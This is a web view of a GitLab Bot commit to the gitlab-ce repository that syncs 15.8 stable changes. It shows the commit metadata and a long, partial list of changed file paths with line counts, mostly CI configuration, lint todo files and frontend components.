summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2023-01-18 19:00:14 +0000
committerGitLab Bot <gitlab-bot@gitlab.com>2023-01-18 19:00:14 +0000
commit05f0ebba3a2c8ddf39e436f412dc2ab5bf1353b2 (patch)
tree11d0f2a6ec31c7793c184106cedc2ded3d9a2cc5
parentec73467c23693d0db63a797d10194da9e72a74af (diff)
downloadgitlab-ce-05f0ebba3a2c8ddf39e436f412dc2ab5bf1353b2.tar.gz
Add latest changes from gitlab-org/gitlab@15-8-stable-eev15.8.0-rc42
-rw-r--r--.gitignore2
-rw-r--r--.gitlab-ci.yml66
-rw-r--r--.gitlab/CODEOWNERS58
-rw-r--r--.gitlab/ci/build-images.gitlab-ci.yml5
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml9
-rw-r--r--.gitlab/ci/frontend.gitlab-ci.yml14
-rw-r--r--.gitlab/ci/global.gitlab-ci.yml4
-rw-r--r--.gitlab/ci/package-and-test/main.gitlab-ci.yml11
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml253
-rw-r--r--.gitlab/ci/rails/shared.gitlab-ci.yml34
-rw-r--r--.gitlab/ci/review-apps/main.gitlab-ci.yml4
-rw-r--r--.gitlab/ci/review-apps/qa.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml201
-rw-r--r--.gitlab/ci/setup.gitlab-ci.yml37
-rw-r--r--.gitlab/ci/static-analysis.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/test-metadata.gitlab-ci.yml3
-rw-r--r--.gitlab/ci/workhorse.gitlab-ci.yml3
-rw-r--r--.gitlab/issue_templates/Broken Master - Flaky.md6
-rw-r--r--.gitlab/issue_templates/Broken Master - Non-flaky.md2
-rw-r--r--.gitlab/issue_templates/Doc_cleanup.md6
-rw-r--r--.gitlab/issue_templates/Experiment Successful Cleanup.md2
-rw-r--r--.gitlab/issue_templates/Feature Flag Roll Out.md2
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new Git repository type.md84
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new blob type.md95
-rw-r--r--.gitlab/merge_request_templates/New Version of gitlab-styles.md11
-rw-r--r--.gitlab/merge_request_templates/Security Release.md3
-rw-r--r--.markdownlint.yml1
-rw-r--r--.rubocop.yml13
-rw-r--r--.rubocop_todo/background_migration/feature_category.yml3
-rw-r--r--.rubocop_todo/cop/user_admin.yml1
-rw-r--r--.rubocop_todo/database/multiple_databases.yml9
-rw-r--r--.rubocop_todo/fips/sha1.yml1
-rw-r--r--.rubocop_todo/gitlab/namespaced_class.yml8
-rw-r--r--.rubocop_todo/gitlab/strong_memoize_attr.yml27
-rw-r--r--.rubocop_todo/graphql/descriptions.yml6
-rw-r--r--.rubocop_todo/layout/argument_alignment.yml20
-rw-r--r--.rubocop_todo/layout/array_alignment.yml365
-rw-r--r--.rubocop_todo/layout/first_argument_indentation.yml26
-rw-r--r--.rubocop_todo/layout/first_array_element_indentation.yml89
-rw-r--r--.rubocop_todo/layout/first_hash_element_indentation.yml480
-rw-r--r--.rubocop_todo/layout/hash_alignment.yml2
-rw-r--r--.rubocop_todo/layout/line_continuation_leading_space.yml75
-rw-r--r--.rubocop_todo/layout/line_continuation_spacing.yml224
-rw-r--r--.rubocop_todo/layout/line_end_string_concatenation_indentation.yml358
-rw-r--r--.rubocop_todo/layout/line_length.yml138
-rw-r--r--.rubocop_todo/layout/parameter_alignment.yml18
-rw-r--r--.rubocop_todo/layout/space_in_lambda_literal.yml2
-rw-r--r--.rubocop_todo/lint/ambiguous_regexp_literal.yml96
-rw-r--r--.rubocop_todo/lint/missing_cop_enable_directive.yml2
-rw-r--r--.rubocop_todo/lint/redundant_cop_disable_directive.yml3
-rw-r--r--.rubocop_todo/migration/background_migration_base_class.yml1
-rw-r--r--.rubocop_todo/migration/background_migration_record.yml1
-rw-r--r--.rubocop_todo/migration/background_migrations.yml12
-rw-r--r--.rubocop_todo/naming/heredoc_delimiter_naming.yml1
-rw-r--r--.rubocop_todo/performance/concurrent_monotonic_time.yml6
-rw-r--r--.rubocop_todo/performance/flat_map.yml38
-rw-r--r--.rubocop_todo/performance/map_compact.yml148
-rw-r--r--.rubocop_todo/performance/redundant_equality_comparison_block.yml23
-rw-r--r--.rubocop_todo/performance/redundant_split_regexp_argument.yml8
-rw-r--r--.rubocop_todo/rails/file_path.yml5
-rw-r--r--.rubocop_todo/rails/inverse_of.yml4
-rw-r--r--.rubocop_todo/rails/negate_include.yml1
-rw-r--r--.rubocop_todo/rails/pluck.yml4
-rw-r--r--.rubocop_todo/rails/redundant_foreign_key.yml1
-rw-r--r--.rubocop_todo/rspec/any_instance_of.yml19
-rw-r--r--.rubocop_todo/rspec/capybara/visibility_matcher.yml1
-rw-r--r--.rubocop_todo/rspec/context_wording.yml26
-rw-r--r--.rubocop_todo/rspec/described_class.yml1
-rw-r--r--.rubocop_todo/rspec/expect_change.yml2
-rw-r--r--.rubocop_todo/rspec/expect_in_hook.yml5
-rw-r--r--.rubocop_todo/rspec/factory_bot/avoid_create.yml1
-rw-r--r--.rubocop_todo/rspec/hooks_before_examples.yml1
-rw-r--r--.rubocop_todo/rspec/instance_variable.yml1
-rw-r--r--.rubocop_todo/rspec/multiple_memoized_helpers.yml1
-rw-r--r--.rubocop_todo/rspec/repeated_example_group_body.yml1
-rw-r--r--.rubocop_todo/rspec/repeated_example_group_description.yml1
-rw-r--r--.rubocop_todo/rspec/verified_doubles.yml4
-rw-r--r--.rubocop_todo/security/io_methods.yml1
-rw-r--r--.rubocop_todo/style/accessor_grouping.yml1
-rw-r--r--.rubocop_todo/style/bare_percent_literals.yml2
-rw-r--r--.rubocop_todo/style/class_and_module_children.yml2
-rw-r--r--.rubocop_todo/style/empty_method.yml4
-rw-r--r--.rubocop_todo/style/format_string.yml26
-rw-r--r--.rubocop_todo/style/guard_clause.yml4
-rw-r--r--.rubocop_todo/style/if_unless_modifier.yml7
-rw-r--r--.rubocop_todo/style/percent_literal_delimiters.yml28
-rw-r--r--.rubocop_todo/style/redundant_self.yml2
-rw-r--r--.rubocop_todo/style/string_concatenation.yml3
-rw-r--r--.rubocop_todo/style/symbol_proc.yml20
-rw-r--r--.solargraph.yml.example2
-rw-r--r--CHANGELOG.md49
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_ELASTICSEARCH_INDEXER_VERSION2
-rw-r--r--GITLAB_KAS_VERSION2
-rw-r--r--GITLAB_METRICS_EXPORTER_VERSION2
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--GITLAB_SHELL_VERSION2
-rw-r--r--Gemfile21
-rw-r--r--Gemfile.checksum33
-rw-r--r--Gemfile.lock50
-rw-r--r--README.md2
-rw-r--r--app/assets/javascripts/abuse_reports/components/abuse_category_selector.vue112
-rw-r--r--app/assets/javascripts/admin/background_migrations/components/database_listbox.vue2
-rw-r--r--app/assets/javascripts/admin/users/components/actions/ban.vue4
-rw-r--r--app/assets/javascripts/alert_handler.js3
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_form.vue1
-rw-r--r--app/assets/javascripts/alerts_settings/components/alerts_settings_wrapper.vue4
-rw-r--r--app/assets/javascripts/analytics/cycle_analytics/components/metric_tile.vue51
-rw-r--r--app/assets/javascripts/api/user_api.js2
-rw-r--r--app/assets/javascripts/artifacts/components/artifact_row.vue2
-rw-r--r--app/assets/javascripts/artifacts/components/feedback_banner.vue41
-rw-r--r--app/assets/javascripts/artifacts/components/job_artifacts_table.vue6
-rw-r--r--app/assets/javascripts/artifacts/constants.js7
-rw-r--r--app/assets/javascripts/artifacts/graphql/queries/get_job_artifacts.query.graphql1
-rw-r--r--app/assets/javascripts/artifacts/index.js5
-rw-r--r--app/assets/javascripts/autosave.js59
-rw-r--r--app/assets/javascripts/batch_comments/components/submit_dropdown.vue3
-rw-r--r--app/assets/javascripts/behaviors/markdown/gfm_auto_complete.js1
-rw-r--r--app/assets/javascripts/behaviors/markdown/init_gfm.js13
-rw-r--r--app/assets/javascripts/behaviors/markdown/render_gfm.js4
-rw-r--r--app/assets/javascripts/behaviors/preview_markdown.js4
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcut.vue3
-rw-r--r--app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js2
-rw-r--r--app/assets/javascripts/blob/components/blob_header.vue2
-rw-r--r--app/assets/javascripts/blob/file_template_mediator.js90
-rw-r--r--app/assets/javascripts/blob/notebook/index.js6
-rw-r--r--app/assets/javascripts/blob/openapi/index.js4
-rw-r--r--app/assets/javascripts/blob/template_selectors/type_selector.js24
-rw-r--r--app/assets/javascripts/blob/viewer/index.js4
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js4
-rw-r--r--app/assets/javascripts/boards/components/board_app.vue4
-rw-r--r--app/assets/javascripts/boards/components/board_card.vue15
-rw-r--r--app/assets/javascripts/boards/components/board_card_inner.vue9
-rw-r--r--app/assets/javascripts/boards/components/board_column.vue8
-rw-r--r--app/assets/javascripts/boards/components/board_content.vue14
-rw-r--r--app/assets/javascripts/boards/components/board_content_sidebar.vue18
-rw-r--r--app/assets/javascripts/boards/components/board_filtered_search.vue8
-rw-r--r--app/assets/javascripts/boards/components/board_form.vue9
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue7
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue7
-rw-r--r--app/assets/javascripts/boards/components/board_new_issue.vue6
-rw-r--r--app/assets/javascripts/boards/components/boards_selector.vue7
-rw-r--r--app/assets/javascripts/boards/components/issue_board_filtered_search.vue13
-rw-r--r--app/assets/javascripts/boards/index.js12
-rw-r--r--app/assets/javascripts/boards/issue_board_filters.js7
-rw-r--r--app/assets/javascripts/boards/stores/getters.js4
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/ci_variable_list.js (renamed from app/assets/javascripts/ci_variable_list/ci_variable_list.js)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_admin_variables.vue (renamed from app/assets/javascripts/ci_variable_list/components/ci_admin_variables.vue)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_environments_dropdown.vue81
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_group_variables.vue (renamed from app/assets/javascripts/ci_variable_list/components/ci_group_variables.vue)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_project_variables.vue (renamed from app/assets/javascripts/ci_variable_list/components/ci_project_variables.vue)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_variable_autocomplete_tokens.js (renamed from app/assets/javascripts/ci_variable_list/components/ci_variable_autocomplete_tokens.js)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_variable_modal.vue502
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_variable_settings.vue (renamed from app/assets/javascripts/ci_variable_list/components/ci_variable_settings.vue)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_variable_shared.vue (renamed from app/assets/javascripts/ci_variable_list/components/ci_variable_shared.vue)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/components/ci_variable_table.vue (renamed from app/assets/javascripts/ci_variable_list/components/ci_variable_table.vue)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/constants.js (renamed from app/assets/javascripts/ci_variable_list/constants.js)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql (renamed from app/assets/javascripts/ci_variable_list/graphql/fragments/ci_variable.fragment.graphql)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql16
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql16
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql16
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/client/add_project_environment.mutation.graphql (renamed from app/assets/javascripts/ci_variable_list/graphql/mutations/client/add_project_environment.mutation.graphql)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql31
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql31
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/queries/group_variables.query.graphql23
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_environments.query.graphql (renamed from app/assets/javascripts/ci_variable_list/graphql/queries/project_environments.query.graphql)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/queries/project_variables.query.graphql21
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/queries/variables.query.graphql18
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/graphql/settings.js242
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/index.js (renamed from app/assets/javascripts/ci_variable_list/index.js)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/native_form_variable_list.js (renamed from app/assets/javascripts/ci_variable_list/native_form_variable_list.js)0
-rw-r--r--app/assets/javascripts/ci/ci_variable_list/utils.js (renamed from app/assets/javascripts/ci_variable_list/utils.js)0
-rw-r--r--app/assets/javascripts/ci/pipeline_editor/components/editor/text_editor.vue8
-rw-r--r--app/assets/javascripts/ci/pipeline_new/components/pipeline_new_form.vue (renamed from app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/components/refs_dropdown.vue86
-rw-r--r--app/assets/javascripts/ci/pipeline_new/constants.js (renamed from app/assets/javascripts/pipeline_new/constants.js)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/graphql/mutations/create_pipeline.mutation.graphql (renamed from app/assets/javascripts/pipeline_new/graphql/mutations/create_pipeline.mutation.graphql)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/graphql/queries/ci_config_variables.graphql (renamed from app/assets/javascripts/pipeline_new/graphql/queries/ci_config_variables.graphql)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/graphql/resolvers.js (renamed from app/assets/javascripts/pipeline_new/graphql/resolvers.js)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/index.js (renamed from app/assets/javascripts/pipeline_new/index.js)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/utils/filter_variables.js (renamed from app/assets/javascripts/pipeline_new/utils/filter_variables.js)0
-rw-r--r--app/assets/javascripts/ci/pipeline_new/utils/format_refs.js55
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules.vue147
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_empty_state.vue63
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/components/pipeline_schedules_form.vue2
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_actions.vue9
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/components/table/cells/pipeline_schedule_last_pipeline.vue10
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/components/table/pipeline_schedules_table.vue1
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/graphql/mutations/play_pipeline_schedule.mutation.graphql6
-rw-r--r--app/assets/javascripts/ci/pipeline_schedules/mount_pipeline_schedules_app.js3
-rw-r--r--app/assets/javascripts/ci/runner/components/runner_jobs_table.vue6
-rw-r--r--app/assets/javascripts/ci/runner/components/stat/runner_stats.vue4
-rw-r--r--app/assets/javascripts/ci/runner/graphql/show/runner_jobs.query.graphql2
-rw-r--r--app/assets/javascripts/ci/runner/project_runners/index.js23
-rw-r--r--app/assets/javascripts/ci/runner/project_runners/project_runners_app.vue19
-rw-r--r--app/assets/javascripts/ci_settings_pipeline_triggers/index.js5
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_environments_dropdown.vue90
-rw-r--r--app/assets/javascripts/ci_variable_list/components/ci_variable_modal.vue503
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/admin_add_variable.mutation.graphql16
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/admin_delete_variable.mutation.graphql16
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/admin_update_variable.mutation.graphql16
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/group_add_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/group_delete_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/group_update_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/project_add_variable.mutation.graphql26
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/project_delete_variable.mutation.graphql31
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/mutations/project_update_variable.mutation.graphql31
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/queries/group_variables.query.graphql23
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/queries/project_variables.query.graphql21
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/queries/variables.query.graphql18
-rw-r--r--app/assets/javascripts/ci_variable_list/graphql/settings.js242
-rw-r--r--app/assets/javascripts/constants.js7
-rw-r--r--app/assets/javascripts/content_editor/components/content_editor.vue14
-rw-r--r--app/assets/javascripts/content_editor/components/formatting_toolbar.vue9
-rw-r--r--app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue50
-rw-r--r--app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue4
-rw-r--r--app/assets/javascripts/deploy_tokens/components/new_deploy_token.vue2
-rw-r--r--app/assets/javascripts/deprecated_notes.js28
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_reply_form.vue3
-rw-r--r--app/assets/javascripts/diff.js23
-rw-r--r--app/assets/javascripts/diffs/components/app.vue9
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue1
-rw-r--r--app/assets/javascripts/diffs/components/merge_conflict_warning.vue4
-rw-r--r--app/assets/javascripts/diffs/components/tree_list.vue7
-rw-r--r--app/assets/javascripts/diffs/store/actions.js6
-rw-r--r--app/assets/javascripts/editor/constants.js12
-rw-r--r--app/assets/javascripts/editor/schema/ci.json27
-rw-r--r--app/assets/javascripts/environments/environment_details/components/deployment_job.vue24
-rw-r--r--app/assets/javascripts/environments/environment_details/components/deployment_status_link.vue26
-rw-r--r--app/assets/javascripts/environments/environment_details/components/deployment_triggerer.vue25
-rw-r--r--app/assets/javascripts/environments/environment_details/constants.js17
-rw-r--r--app/assets/javascripts/environments/environment_details/deployments_table.vue55
-rw-r--r--app/assets/javascripts/environments/environment_details/empty_state.vue34
-rw-r--r--app/assets/javascripts/environments/environment_details/index.vue169
-rw-r--r--app/assets/javascripts/environments/environment_details/pagination.vue74
-rw-r--r--app/assets/javascripts/environments/graphql/queries/environment_details.query.graphql23
-rw-r--r--app/assets/javascripts/environments/mount_show.js37
-rw-r--r--app/assets/javascripts/error_tracking/components/error_tracking_list.vue20
-rw-r--r--app/assets/javascripts/error_tracking_settings/components/project_dropdown.vue41
-rw-r--r--app/assets/javascripts/flash.js96
-rw-r--r--app/assets/javascripts/frequent_items/components/app.vue34
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_list.vue12
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue76
-rw-r--r--app/assets/javascripts/frequent_items/constants.js2
-rw-r--r--app/assets/javascripts/frequent_items/store/actions.js29
-rw-r--r--app/assets/javascripts/frequent_items/store/mutation_types.js3
-rw-r--r--app/assets/javascripts/frequent_items/store/mutations.js16
-rw-r--r--app/assets/javascripts/frequent_items/store/state.js2
-rw-r--r--app/assets/javascripts/gfm_auto_complete.js23
-rw-r--r--app/assets/javascripts/graphql_shared/issuable_client.js41
-rw-r--r--app/assets/javascripts/graphql_shared/possible_types.json3
-rw-r--r--app/assets/javascripts/groups_select.js122
-rw-r--r--app/assets/javascripts/ide/components/repo_editor.vue4
-rw-r--r--app/assets/javascripts/ide/lib/gitlab_web_ide/get_base_config.js9
-rw-r--r--app/assets/javascripts/ide/stores/modules/commit/actions.js6
-rw-r--r--app/assets/javascripts/ide/stores/modules/pipelines/actions.js4
-rw-r--r--app/assets/javascripts/ide/stores/modules/terminal/actions/checks.js4
-rw-r--r--app/assets/javascripts/ide/stores/modules/terminal/actions/session_controls.js4
-rw-r--r--app/assets/javascripts/ide/stores/modules/terminal/messages.js4
-rw-r--r--app/assets/javascripts/import_entities/components/import_status.vue33
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_actions_cell.vue35
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table.vue60
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js1
-rw-r--r--app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql1
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue4
-rw-r--r--app/assets/javascripts/import_entities/import_projects/index.js8
-rw-r--r--app/assets/javascripts/init_diff_stats_dropdown.js2
-rw-r--r--app/assets/javascripts/integrations/constants.js4
-rw-r--r--app/assets/javascripts/integrations/edit/components/integration_form.vue78
-rw-r--r--app/assets/javascripts/integrations/edit/components/integration_forms/section.vue90
-rw-r--r--app/assets/javascripts/integrations/edit/components/sections/trigger.vue3
-rw-r--r--app/assets/javascripts/integrations/edit/components/trigger_field.vue29
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_modal.vue7
-rw-r--r--app/assets/javascripts/invite_members/components/user_limit_notification.vue32
-rw-r--r--app/assets/javascripts/invite_members/constants.js12
-rw-r--r--app/assets/javascripts/issuable/components/issuable_header_warnings.vue11
-rw-r--r--app/assets/javascripts/issuable/components/related_issuable_item.vue1
-rw-r--r--app/assets/javascripts/issuable/issuable_form.js21
-rw-r--r--app/assets/javascripts/issues/dashboard/components/issues_dashboard_app.vue116
-rw-r--r--app/assets/javascripts/issues/dashboard/index.js12
-rw-r--r--app/assets/javascripts/issues/dashboard/queries/get_issues.query.graphql12
-rw-r--r--app/assets/javascripts/issues/dashboard/utils.js23
-rw-r--r--app/assets/javascripts/issues/list/components/issues_list_app.vue1
-rw-r--r--app/assets/javascripts/issues/list/constants.js13
-rw-r--r--app/assets/javascripts/issues/list/utils.js12
-rw-r--r--app/assets/javascripts/issues/show/components/header_actions.vue22
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/constants.js13
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/create_timeline_event.vue1
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/edit_timeline_event.vue2
-rw-r--r--app/assets/javascripts/issues/show/components/incidents/timeline_events_form.vue70
-rw-r--r--app/assets/javascripts/issues/show/index.js6
-rw-r--r--app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue87
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/components/app.vue6
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/components/compatibility_alert.vue73
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/components/sign_in_oauth_button.vue16
-rw-r--r--app/assets/javascripts/jira_connect/subscriptions/pages/sign_in/sign_in_gitlab_com.vue4
-rw-r--r--app/assets/javascripts/jobs/components/job/manual_variables_form.vue16
-rw-r--r--app/assets/javascripts/jobs/components/table/jobs_table.vue6
-rw-r--r--app/assets/javascripts/jobs/store/actions.js4
-rw-r--r--app/assets/javascripts/language_switcher/components/app.vue26
-rw-r--r--app/assets/javascripts/layout_nav.js77
-rw-r--r--app/assets/javascripts/lib/utils/common_utils.js12
-rw-r--r--app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js2
-rw-r--r--app/assets/javascripts/lib/utils/datetime/date_format_utility.js10
-rw-r--r--app/assets/javascripts/lib/utils/http_status.js23
-rw-r--r--app/assets/javascripts/lib/utils/poll_until_complete.js4
-rw-r--r--app/assets/javascripts/locale/ensure_single_line.cjs (renamed from app/assets/javascripts/locale/ensure_single_line.js)0
-rw-r--r--app/assets/javascripts/locale/index.js2
-rw-r--r--app/assets/javascripts/main.js10
-rw-r--r--app/assets/javascripts/members/components/action_buttons/access_request_action_buttons.vue2
-rw-r--r--app/assets/javascripts/members/components/action_buttons/approve_access_request_button.vue1
-rw-r--r--app/assets/javascripts/members/components/action_buttons/invite_action_buttons.vue2
-rw-r--r--app/assets/javascripts/members/components/action_buttons/leave_button.vue40
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_group_link_button.vue1
-rw-r--r--app/assets/javascripts/members/components/action_buttons/remove_member_button.vue31
-rw-r--r--app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue95
-rw-r--r--app/assets/javascripts/members/components/action_dropdowns/constants.js22
-rw-r--r--app/assets/javascripts/members/components/action_dropdowns/leave_group_dropdown_item.vue36
-rw-r--r--app/assets/javascripts/members/components/action_dropdowns/remove_member_dropdown_item.vue86
-rw-r--r--app/assets/javascripts/members/components/action_dropdowns/user_action_dropdown.vue134
-rw-r--r--app/assets/javascripts/members/components/modals/leave_modal.vue63
-rw-r--r--app/assets/javascripts/members/components/modals/remove_member_modal.vue48
-rw-r--r--app/assets/javascripts/members/components/table/created_at.vue8
-rw-r--r--app/assets/javascripts/members/components/table/member_action_buttons.vue11
-rw-r--r--app/assets/javascripts/members/components/table/member_activity.vue38
-rw-r--r--app/assets/javascripts/members/components/table/member_source.vue41
-rw-r--r--app/assets/javascripts/members/components/table/members_table.vue42
-rw-r--r--app/assets/javascripts/members/components/table/members_table_cell.vue7
-rw-r--r--app/assets/javascripts/members/components/table/role_dropdown.vue40
-rw-r--r--app/assets/javascripts/members/constants.js17
-rw-r--r--app/assets/javascripts/members/guest_overage_confirm_action.js3
-rw-r--r--app/assets/javascripts/members/index.js6
-rw-r--r--app/assets/javascripts/members/utils.js6
-rw-r--r--app/assets/javascripts/merge_request_tabs.js42
-rw-r--r--app/assets/javascripts/merge_requests/components/sticky_header.vue8
-rw-r--r--app/assets/javascripts/ml/experiment_tracking/components/ml_candidate.vue50
-rw-r--r--app/assets/javascripts/ml/experiment_tracking/components/ml_experiment.vue89
-rw-r--r--app/assets/javascripts/monitoring/requests/index.js8
-rw-r--r--app/assets/javascripts/monitoring/stores/mutations.js6
-rw-r--r--app/assets/javascripts/mr_notes/init_notes.js8
-rw-r--r--app/assets/javascripts/nav/components/new_nav_toggle.vue29
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue2
-rw-r--r--app/assets/javascripts/notes/components/note_header.vue11
-rw-r--r--app/assets/javascripts/notes/mixins/autosave.js3
-rw-r--r--app/assets/javascripts/notes/stores/actions.js2
-rw-r--r--app/assets/javascripts/notifications/components/notification_email_listbox_input.vue46
-rw-r--r--app/assets/javascripts/notifications/index.js27
-rw-r--r--app/assets/javascripts/observability/components/observability_app.vue26
-rw-r--r--app/assets/javascripts/observability/components/skeleton/index.vue128
-rw-r--r--app/assets/javascripts/observability/constants.js30
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/components/details_page/tags_list_row.vue2
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/components/list_page/image_list_row.vue51
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/constants/list.js1
-rw-r--r--app/assets/javascripts/packages_and_registries/container_registry/explorer/graphql/index.js2
-rw-r--r--app/assets/javascripts/packages_and_registries/infrastructure_registry/details/components/package_history.vue8
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/delete_modal.vue1
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/package_history.vue12
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/package_versions_list.vue29
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/pypi_installation.vue2
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/list/packages_list.vue26
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/constants.js8
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue56
-rw-r--r--app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue8
-rw-r--r--app/assets/javascripts/pages/admin/application_settings/index.js2
-rw-r--r--app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js60
-rw-r--r--app/assets/javascripts/pages/admin/broadcast_messages/edit/index.js7
-rw-r--r--app/assets/javascripts/pages/admin/broadcast_messages/index/index.js9
-rw-r--r--app/assets/javascripts/pages/groups/boards/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/edit/index.js4
-rw-r--r--app/assets/javascripts/pages/groups/group_members/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/observability/datasources/index.js3
-rw-r--r--app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/show/index.js2
-rw-r--r--app/assets/javascripts/pages/import/bitbucket/status/index.js21
-rw-r--r--app/assets/javascripts/pages/import/bitbucket_server/status/index.js30
-rw-r--r--app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue65
-rw-r--r--app/assets/javascripts/pages/import/fogbugz/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/gitea/status/index.js2
-rw-r--r--app/assets/javascripts/pages/import/github/status/index.js2
